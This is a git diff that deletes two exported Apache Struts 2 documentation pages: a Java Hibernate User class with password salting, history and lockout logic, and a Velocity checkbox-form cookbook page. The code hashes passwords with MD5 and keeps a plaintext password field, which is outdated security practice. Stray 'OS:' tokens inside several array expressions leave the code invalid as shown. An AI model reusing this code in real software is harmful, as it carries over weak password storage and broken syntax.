-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Locale;
-import java.util.Set;
-import java.util.SortedSet;
-import java.util.TimeZone;
-import java.util.TreeSet;
-
-import cash.config.ConfigManager;
-import cash.util.Hex;
-import cash.util.HibernateUtil;
-import cash.util.UtcDate;
-import cash.validator.PasswordFormatValidator;
-
-/**
- * Represents a User object.  Clients of this class should instantiate a User object with the
- * multi-arg constructor rather than using setters.
- *
- * @author Joel Hockey
- * @version $Id: $
- * @hibernate.class
- *      table="user"
- *      dynamic-update="true"
- *      optimistic-lock="version"
- */
-public class User implements java.io.Serializable {
-    private static final Logger LOG = Logger.getLogger(User.class);
-
-    private static MessageDigest s_md5;
-    private static SecureRandom s_random;
-
-    private static final int MAX_LOGIN_FAILURE_COUNT = 20;
-    private static final boolean RESET_LOCKED_OUT_AFTER_TIME = true;
-    private static final long RESET_LOCKED_OUT_TIME = 1 * 60 * 60 * 1000; // 1 hour
-
-    private int m_id;
-    private int m_version;
-    private String m_username;
-    private String m_password;
-    private Date m_passwordChangeDate;
-    private String m_hashedPassword;
-    private SortedSet m_passwordHistory = new TreeSet();
-    private String m_salt;
-    private byte[] m_saltBytes;
-    private Date m_createDate;
-    private String m_email;
-    private Locale m_locale;
-    private TimeZone m_timeZone;
-    private String m_telephone;
-    private Date m_lastSuccessfulLogin;
-    private String m_lastSuccessfulLoginIp;
-    private Date m_lastFailedLogin;
-    private String m_lastFailedLoginIp;
-    private int m_loginFailureCount;
-    private int m_maxLoginFailureCount = MAX_LOGIN_FAILURE_COUNT;
-    private boolean m_resetLockedOutAfterTime = RESET_LOCKED_OUT_AFTER_TIME;
-    private long m_resetLockedOutTime = RESET_LOCKED_OUT_TIME;
-    private boolean m_lockedOut = false;
-    private boolean m_disabled = false;
-    private boolean m_isSuperUser = false;
-    private boolean m_passwordNeverExpires = false;
-    private Set m_privileges = new HashSet();
-
-    static {
-        try {
-            s_md5 = MessageDigest.getInstance("MD5");
-            s_random = SecureRandom.getInstance("SHA1PRNG");
-        } catch (GeneralSecurityException gse) {
-            // shouldn't happen
-            LOG.error("Error creating MD5 or SHA1PRNG", gse);
-            throw new RuntimeException("Error creating MD5 or SHA1PRNG");
-        }
-    }
-
-    /** default constructor for Hibernate */
-    public User() { }
-
-    /**
-     * Create a User.
-     *
-     * @param username The username for logging in
-     * @param password The user's password
-     * @param email The user's email
-     * @throws InvalidPasswordException if password is invalid.
-     */
-    public User(String username, String password, String email) throws InvalidPasswordException {
-
-        m_username = username;
-
-        // password
-        initSalt();
-        if (!PasswordFormatValidator.checkPasswordFormat(password)) {
-            throw new InvalidPasswordException();
-        }
-        m_hashedPassword = hashPassword(password);
-
-        m_createDate = UtcDate.createUtcDate();
-        m_email = email;
-        m_locale = Locale.getDefault();
-        m_timeZone = TimeZone.getDefault();
-    }
-
-    /** @param id The id to set */
-    public void setId(int id) { m_id = id; }
-
-    /**
-     * @return unique id of this User.  Generated by DB.
-     * @hibernate.id
-     *      generator-class="native"
-     */
-    public int getId() { return m_id; }
-
-    /** @param version The version of this object */
-    public void setVersion(int version) { m_version = version; }
-
-    /**
-     * @return version of this object
-     * @hibernate.version
-     */
-    public int getVersion() { return m_version; }
-
-    /** @param username The username to set */
-    public void setUsername(String username) { m_username = username; }
-
-    /**
-     * @return username
-     * @hibernate.property
-     *      length="32"
-     *      unique="true"
-     *      not-null="true"
-     */
-    public String getUsername() { return m_username; }
-
-    /**
-     * Set's the user's password without updating history or checking validity.
-     * This should only be used at User creation time, and password validity
-     * should be checked externally to this method.
-     * Do not use to update password, see {@link #changePassword(String)}
-     * @param password user's password
-     */
-    public void setPassword(String password) {
-        m_password = password;
-        if (m_salt == null) {
-            initSalt();
-        }
-        m_hashedPassword = hashPassword(password);
-        m_passwordChangeDate = UtcDate.createUtcDate();
-    }
-
-    /**
-     * This method is provided to help at User creation time.  It will only return
-     * valid values if {@link #setPassword(String)} has already been called.
-     * @return plaintext password.
-     */
-    public String getPassword() { return m_password; }
-
-    /** @param time Date (UTC) user last changed password. */
-    public void setPasswordChangeDate(Date time) { m_passwordChangeDate = time; }
-
-    /**
-     * @return UTC date of last password change
-     * @hibernate.property
-     *      type="cash.model.TimestampType"
-     *      length="23"
-     */
-    public Date getPasswordChangeDate() { return m_passwordChangeDate; }
-
-    /**
-     * Sets the user's hashed password.  This method is provided only for the use
-     * of hibernate.  Users of this class should not call this method.
-     * Use the {@link #setPassword(String)} method to set the plaintext password.
-     * @param hash The hashed password to set
-     */
-    public void setHashedPassword(String hash) {
-        m_hashedPassword = hash;
-    }
-
-    /**
-     * @return hashed password
-     * @hibernate.property
-     *      column="pwd"
-     *      length="32"
-     *      not-null="true"
-     */
-    public String getHashedPassword() { return m_hashedPassword; }
-
-    /**
-     * @param oldPasswords The last n passwords, where n
-     * is defined as noRepeatHistory in User configuration.  Passwords are ordered
-     * in descending order of creation.
-     */
-    public void setPasswordHistory(SortedSet oldPasswords) { m_passwordHistory = oldPasswords; }
-
-    /**
-     * @return Password history
-     * @hibernate.set
-     *      lazy="true"
-     *      sort="cash.model.PasswordHistory"
-     *      inverse="true"
-     *      cascade="all"
-     * @hibernate.collection-key
-     *      column="userId"
-     * @hibernate.collection-one-to-many
-     *      class="cash.model.PasswordHistory"
-     */
-    public SortedSet getPasswordHistory() { return m_passwordHistory; }
-
-    /** @param random The random salt to be used with password */
-    public void setSalt(String random) {
-        m_salt = random;
-        m_saltBytes = Hex.fromString(random);
-    }
-
-    /**
-     * @return random salt used with password
-     * @hibernate.property
-     *      length="32"
-     *      not-null="true"
-     */
-    public String getSalt() { return m_salt; }
-
-    /** @param time create date */
-    public void setCreateDate(Date time) { m_createDate = time; }
-
-    /**
-     * @return Date in UTC user was created.
-     * @hibernate.property
-     *      update="false"
-     *      not-null="true"
-     *      type="cash.model.TimestampType"
-     *      length="23"
-     */
-    public Date getCreateDate() { return m_createDate; }
-
-    /** @param email User's email */
-    public void setEmail(String email) { m_email = email; }
-
-    /**
-     * @return User's email
-     * @hibernate.property
-     *      length="255"
-     *      not-null="true"
-     */
-    public String getEmail() { return m_email; }
-
-    /** @param locale The User's locale.  This should be a 2 character field. */
-    public void setLocale(Locale locale) { m_locale = locale; }
-
-    /**
-     * @return User's locale.  Uses 2 character ISO-something value.
-     * @hibernate.property
-     *      not-null="true"
-     */
-    public Locale getLocale() { return m_locale; }
-
-    /** @param timeZone User's time zone */
-    public void setTimeZone(TimeZone timeZone) { m_timeZone = timeZone; }
-
-    /**
-     * @return User's timezone
-     * @hibernate.property
-     *      not-null="true"
-     */
-    public TimeZone getTimeZone() { return m_timeZone; }
-
-    /** @param telephone User's telephone */
-    public void setTelephone(String telephone) { m_telephone = telephone; }
-
-    /**
-     * @return Telephone of user
-     * @hibernate.property
-     *      length="16"
-     */
-    public String getTelephone() { return m_telephone; }
-
-    /** @param time user's last successful login date in UTC. */
-    public void setLastSuccessfulLogin(Date time) { m_lastSuccessfulLogin = time; }
-
-    /**
-     * @return UTC date of last successful login
-     * @hibernate.property
-     *      type="cash.model.TimestampType"
-     *      length="23"
-     */
-    public Date getLastSuccessfulLogin() { return m_lastSuccessfulLogin; }
-
-    /** @param ip IP address used for user's last successful login. */
-    public void setLastSuccessfulLoginIp(String ip) { m_lastSuccessfulLoginIp = ip; }
-
-    /**
-     * @return IP address used for last successful login
-     * @hibernate.property
-     */
-    public String getLastSuccessfulLoginIp() { return m_lastSuccessfulLoginIp; }
-
-    /** @param time user's last failed login date in UTC. */
-    public void setLastFailedLogin(Date time) { m_lastFailedLogin = time; }
-
-    /**
-     * @return UTC date of last failed login
-     * @hibernate.property
-     *      type="cash.model.TimestampType"
-     *      length="23"
-     */
-    public Date getLastFailedLogin() { return m_lastFailedLogin; }
-
-    /** @param ip IP address used for user's last failed login. */
-    public void setLastFailedLoginIp(String ip) { m_lastFailedLoginIp = ip; }
-
-    /**
-     * @return IP address used for last failed login
-     * @hibernate.property
-     */
-    public String getLastFailedLoginIp() { return m_lastFailedLoginIp; }
-
-    /**
-     * Sets the number of times that a user has failed when attempting to login.
-     * This value is reset when a user logs in successfully, or their account is reset.
-     * @param count the value to set.
-     */
-    public void setLoginFailureCount(int count) { m_loginFailureCount = count; }
-
-    /**
-     * @return The number of times that a user has failed when attempting to login.
-     *  This value is reset when a user logs on successfully, or their account is reset.
-     * @hibernate.property
-     */
-    public int getLoginFailureCount() { return m_loginFailureCount; }
-
-    /**
-     * @param count The maximum number of times that a user may fail to login before
-     * their account is locked out
-     */
-    public void setMaxLoginFailureCount(int count) { m_maxLoginFailureCount = count; }
-
-    /**
-     * @return The maximum number of times that a user may fail to login before their account
-     * is locked out.
-     * @hibernate.property
-     */
-    public int getMaxLoginFailureCount() { return m_maxLoginFailureCount; }
-
-    /**
-     * @param reset Whether this user's account will be unlocked after a specified time when it is locked
-     * due to login failure.
-     * @see #setResetLockedOutAfterTime(boolean) setResetLockedOutAfterTime
-     */
-    public void setResetLockedOutAfterTime(boolean reset) { m_resetLockedOutAfterTime = reset; }
-
-    /**
-     * @return Whether this user's account will be unlocked after a specified time when it
-     * is locked out due to login failure.
-     * @see #getResetLockedOutAfterTime getResetLockedOutAfterTime
-     * @hibernate.property
-     */
-    public boolean getResetLockedOutAfterTime() { return m_resetLockedOutAfterTime; }
-
-    /**
-     * @param time The time in millis between login attempts before login failure count is reset.  Login failure
-     * count will only be reset if the Reset Locked Out After Time boolean is set to true.
-     */
-    public void setResetLockedOutTime(long time) { m_resetLockedOutTime = time; }
-
-    /**
-     * @return Time in milliseconds before account is auto-reset after login lockout.
-     * @hibernate.property
-     */
-    public long getResetLockedOutTime() { return m_resetLockedOutTime; }
-
-    /** @param lockedOut User's locked out status. */
-    public void setLockedOut(boolean lockedOut) { m_lockedOut = lockedOut; }
-
-    /**
-     * @return Whether this user's account is locked out
-     * @hibernate.property
-     */
-    public boolean isLockedOut() { return m_lockedOut; }
-
-    /** @param disabled User's disabled status. */
-    public void setDisabled(boolean disabled) { m_disabled = disabled; }
-
-    /**
-     * @return Whether this user's account disabled
-     * @hibernate.property
-     */
-    public boolean isDisabled() { return m_disabled; }
-
-    /** @param superUser True if user is super user */
-    public void setSuperUser(boolean superUser) { m_isSuperUser = superUser; }
-
-    /**
-     * @return Whether this user is a super user
-     * @hibernate.property
-     */
-    public boolean isSuperUser() { return m_isSuperUser; }
-
-    /** @param expires True if user's password never expires */
-    public void setPasswordNeverExpires(boolean expires) { m_passwordNeverExpires = expires; }
-
-    /**
-     * @return Whether this user's password ever expires
-     * @hibernate.property
-     */
-    public boolean getPasswordNeverExpires() { return m_passwordNeverExpires; }
-
-    /** @param privs Set of privileges for this user  */
-    public void setPrivileges(Set privs) { m_privileges = privs; }
-
-    /**
-     * @return Set of Privileges for this User.
-     * @hibernate.set
-     *      table="user_priv"
-     *      lazy="true"
-     *      cascade="all"
-     * @hibernate.collection-key
-     *      column="userId"
-     * @hibernate.collection-element
-     *      column="priv"
-     *      type="string"
-     */
-    public Set getPrivileges() { return m_privileges; }
-
-    /** convenience method of OGNL */
-    public void setPriv(String[] privs) {
-        for (int i = 0; i &lt; privs.length; i++) {
-            m_privileges.add(privs[i]);
-        }
-    }
-
-
-// other methods
-
-    /**
-     * Changes the user's password.  Password must meet criteria
-     * defined in configuration.  The user's password will be appended to
-     * a random 20 byte salt and then hashed using MD5 to create the
-     * value that will be stored in the DB.  The current Hibernate Session
-     * will be used to update pwd history.
-     *
-     * @param password The password to set
-     * @return true if password is changed, false if password was not changed
-     * because it did not meet password requirements.
-     * @throws HibernateException if error updating password history
-     */
-    public boolean changePassword(String password) throws HibernateException {
-        // check format
-        if (!PasswordFormatValidator.checkPasswordFormat(password)) {
-            return false;
-        }
-
-        // check history
-        // first check current password
-        String hashedPwd = hashPassword(password);
-        LOG.debug("checking if password is same as current");
-        if (hashedPwd.equals(m_hashedPassword)) {
-            LOG.info("password is same as current password");
-            return false;
-        }
-
-        LOG.debug("checking if password exists in history.  History size is " + m_passwordHistory.size());
-        for (Iterator i = getPasswordHistory().iterator(); i.hasNext(); ) {
-            PasswordHistory ph = (PasswordHistory)i.next();
-            if (hashedPwd.equals(ph.getHashedPassword())) {
-                LOG.info("password already used as one of last "
-                    + ConfigManager.getConfig().getUser().getNoRepeatHistory());
-                return false;
-            }
-        }
-
-        // add current pwd to history and truncate history if it is too long now
-        PasswordHistory ph = new PasswordHistory(this, m_hashedPassword);
-        m_passwordHistory.add(ph);
-        LOG.debug("saving old password into password history");
-        HibernateUtil.currentSession().save(ph);
-        // compare to (noRepeat - 1) because we are checking current as part of history
-        if (m_passwordHistory.size() &gt; ConfigManager.getConfig().getUser().getNoRepeatHistory() - 1) {
-            PasswordHistory toRemove = (PasswordHistory)m_passwordHistory.first();
-            LOG.info("Removing password history object for user " + m_username
-                    + " created: " + toRemove.getCreateDate());
-            m_passwordHistory.remove(toRemove);
-            HibernateUtil.currentSession().delete(toRemove);
-        }
-
-        // now set password and date
-        m_hashedPassword = hashedPwd;
-        m_passwordChangeDate = UtcDate.createUtcDate();
-        return true;
-    }
-
-    /**
-     * Hashes input pwd to see if it equals stored pwd hash value.
-     * @param pwd Password to check
-     * @return true if passwords are equal.
-     */
-
-    public boolean passwordEquals(String pwd) {
-        String hash = hashPassword(pwd);
-        return m_hashedPassword.equalsIgnoreCase(hash);
-    }
-
-    /**
-     * Hashes salt and password to produce hashed password.
-     * @param pwd Password to hash
-     * @return Hex encoding of MD5 hash of salt and pwd
-     */
-    private String hashPassword(String pwd) {
-        byte[] pwdBytes = pwd.getBytes();  //TODO:  should an encoding be specified here?
-        byte[] in = new byte[OS:m_saltBytes.length + pwdBytes.length];
-        System.arraycopy(m_saltBytes, 0, in, 0, m_saltBytes.length);
-        System.arraycopy(pwdBytes, 0, in, m_saltBytes.length, pwdBytes.length);
-        byte[] out = s_md5.digest(in);
-        return Hex.toString(out);
-    }
-
-    /** initialises salt */
-    private void initSalt() {
-        m_saltBytes = new byte[OS:16];
-        s_random.nextBytes(m_saltBytes);
-        m_salt = Hex.toString(m_saltBytes);
-    }
-
-    /** @return String representation of User */
-    public String toString() {
-        StringBuffer sb = new StringBuffer(500);
-        sb.append("[").append("ID:").append(m_id)
-        .append(",version:").append(m_version)
-        .append(",hashedPassword:").append(m_hashedPassword)
-        .append(",salt:").append(m_salt)
-        .append(",createDate:").append(m_createDate)
-        .append(",email:").append(m_email)
-        .append(",locale:").append(m_locale)
-        .append(",timeZone:").append(m_timeZone)
-        .append(",telephone:").append(m_telephone)
-        .append(",lastSuccessfulLogin:").append(m_lastSuccessfulLogin)
-        .append(",lastSuccessfulLoginIp:").append(m_lastSuccessfulLoginIp)
-        .append(",lastFailedLogin:").append(m_lastFailedLogin)
-        .append(",lastFailedLoginIp:").append(m_lastFailedLoginIp)
-        .append(",loginFailureCount:").append(m_loginFailureCount)
-        .append(",maxLoginFailureCount:").append(m_maxLoginFailureCount)
-        .append(",resetLockedOutAfterTime:").append(m_resetLockedOutAfterTime)
-        .append(",resetLockedOutTime:").append(m_resetLockedOutTime)
-        .append(",lockedOut:").append(m_lockedOut)
-        .append(",disabled:").append(m_disabled)
-        .append(",isSuperUser:").append(m_isSuperUser)
-        .append(",passwordNeverExpires:").append(m_passwordNeverExpires)
-        .append(",passwordChangeDate:").append(m_passwordChangeDate)
-        .append(",privs:").append(m_privileges);
-        return sb.toString();
-    }
-
-    /**
-     * Copies editable data from this object to User object provided.  This is used
-     * in Edit actions.  Not all fields are copied, only those that are editable
-     * @param user Object to copy to
-     */
-    public void copy(User user) {
-        user.setUsername(m_username);
-        user.setEmail(m_email);
-        user.setLocale(m_locale);
-        user.setTimeZone(m_timeZone);
-        user.setTelephone(m_telephone);
-        user.setLockedOut(m_lockedOut);
-        user.setDisabled(m_disabled);
-        user.setPasswordNeverExpires(m_passwordNeverExpires);
-
-        // do some smarts for privs removal.  Clear all if more than half are removed
-        if (m_privileges.size() &lt;= user.getPrivileges().size() / 2) {
-            LOG.debug("detected that many privs are removed, clearing all");
-            user.setPrivileges(m_privileges);
-        } else {
-            // find which ones should be removed
-            List toRemove = new ArrayList();
-            for (Iterator i = user.getPrivileges().iterator(); i.hasNext(); ) {
-                String priv = (String)i.next();
-                if (!m_privileges.contains(priv)) {
-                    toRemove.add(priv);
-                }
-            }
-
-            // remove them
-            for (int i = 0; i &lt; toRemove.size(); i++) {
-                user.getPrivileges().remove(toRemove.get(i));
-            }
-
-            // add all new privs
-            for (Iterator i = m_privileges.iterator(); i.hasNext(); ) {
-                user.getPrivileges().add(i.next());
-            }
-        }
-    }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-checkboxes-velocity-and-html.html b/content/docs/using-checkboxes-velocity-and-html.html
deleted file mode 100644
index 97d38de..0000000
--- a/content/docs/using-checkboxes-velocity-and-html.html
+++ /dev/null
@@ -1,279 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Checkboxes - Velocity and HTML</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes.html">Using Checkboxes</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes-velocity-and-html.html">Using Checkboxes - Velocity and HTML</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Checkboxes - Velocity and HTML</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14063">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14063">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14063">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14063">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14063">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14063">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Velocity View - edit.vm:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;body onload="document.forms[0].elements[0].focus()"&gt;
-
-&lt;a href="home.vm"&gt;Home&lt;/a&gt;&lt;br/&gt;
-
-#if ($fieldErrors)
-  #foreach ($error in $fieldErrors)
-    $error&lt;br&gt;
-  #end
-#end
-#if ($actionErrors)
-  #foreach ($error in $actionErrors)
-    $error&lt;br&gt;
-  #end
-#end
-
-&lt;form name="edit" action="edit.action" method="post"&gt;
-&lt;table&gt;
-&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;$user.username&lt;/td&gt;&lt;/tr&gt;
-#formRowText("Password" "user.password" $stack.findValue("@cash.validator.PasswordFormatValidator@PASSWORD_MASK"))
-#formRowText("Repeat Password" "repeatPassword" $stack.findValue("@cash.validator.PasswordFormatValidator@PASSWORD_MASK"))
-#formRowText("Email" "user.email" $!user.email)
-#formRowSelect("Language" "user.locale" $stack.findValue("@cash.util.Html@getInstance()").getLocales($locale) $!user.locale.toString())
-#formRowSelect("Time Zone" "user.timeZone" $stack.findValue("@cash.util.Html@getInstance()").getTimeZones($locale) $!user.timeZone.ID)
-#formRowText("Telephone" "user.telephone" $!user.telephone)
-#formRowCheckbox("Locked Out" "user.lockedOut" "true" $user.lockedOut)
-#formRowCheckbox("Disabled" "user.disabled" "true" $user.disabled)
-
-
-#set ($privs = [OS:"boss", "admin", "early", "late", "train"])
-
-#foreach ($priv in $privs)
-  #set ($checked = $user.privileges.contains($priv))
-  #formRowCheckbox($priv "user.priv" $priv $checked)
-#end
-&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&lt;input type="submit" name="submit" value="submit"&gt;&lt;/td&gt;&lt;/tr&gt;
-&lt;/table&gt;
-
-&lt;input type="hidden" name="user.username" value="$user.username"&gt;
-&lt;/form&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<p>Velocity Macros - macros.vm:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#macro (formRowText $label $name $value)
-  &lt;tr&gt;&lt;td&gt;&lt;label for="$name"&gt;$label&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="$name" type="text" name="$name" value="$!value"&gt;&lt;/td&gt;&lt;/tr&gt;
-#end
-
-#macro (formRowSelect $label $name $options $selectedValue)
-  &lt;tr&gt;&lt;td&gt;&lt;label for="$name"&gt;$label&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;select id="$name" name="$name"&gt;
-#foreach ($option in $options)
-&lt;option#if ($option.get(0).equals($selectedValue)) selected#end value="$option.get(0)"&gt;$option.get(1)&lt;/option&gt;
-#end
-&lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;
-#end
-
-#macro (formRowCheckbox $label $name $value $checked)
-  &lt;tr&gt;&lt;td&gt;&lt;label for="$name.$value"&gt;$label&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="$name.$value" type="checkbox" name="$name" value="$value"#if ($checked) checked#end &gt;&lt;/td&gt;&lt;/tr&gt;
-#end
-</pre>
-</div></div>
-
-<p>Note that I don't use the webwork UI tags.  (The HTML that comes out of them looks like vomit.)</p>
-
-<p>The HTML generated from above looks like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;body onload="document.forms[0].elements[0].focus()"&gt;
-
-&lt;a href="home.vm"&gt;Home&lt;/a&gt;&lt;br/&gt;
-
-    
-&lt;form name="edit" action="edit.action" method="post"&gt;
-&lt;table&gt;
-&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;user&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.password"&gt;Password&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.password" type="text" name="user.password" value="********"&gt;&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="repeatPassword"&gt;Repeat Password&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="repeatPassword" type="text" name="repeatPassword" value="********"&gt;&lt;/td&gt;&lt;/tr&gt;
-
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.email"&gt;Email&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.email" type="text" name="user.email" value="user@example.com"&gt;&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.locale"&gt;Language&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;select id="user.locale" name="user.locale"&gt;
-&lt;option value="en"&gt;English&lt;/option&gt;
-&lt;option selected value="en_AU"&gt;English (Australia)&lt;/option&gt;
-&lt;option value="en_US"&gt;English (United States)&lt;/option&gt;
-&lt;option value="en_GB"&gt;English (United Kingdom)&lt;/option&gt;
-&lt;option value="es"&gt;Spanish&lt;/option&gt;
-&lt;option value="fr"&gt;French&lt;/option&gt;
-
-&lt;option value="de"&gt;German&lt;/option&gt;
-&lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.timeZone"&gt;Time Zone&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;select id="user.timeZone" name="user.timeZone"&gt;
-&lt;option selected value="America/Los_Angeles"&gt;(GMT-08:00) Los Angeles&lt;/option&gt;
-&lt;option value="Europe/London"&gt;(GMT+00:00) London&lt;/option&gt;
-&lt;option value="Australia/Brisbane"&gt;(GMT+10:00) Brisbane&lt;/option&gt;
-&lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.telephone"&gt;Telephone&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.telephone" type="text" name="user.telephone" value="134"&gt;&lt;/td&gt;&lt;/tr&gt;
-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.lockedOut.true"&gt;Locked Out&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.lockedOut.true" type="checkbox" name="user.lockedOut" value="true" &gt;&lt;/td&gt;&lt;/tr&gt;
-
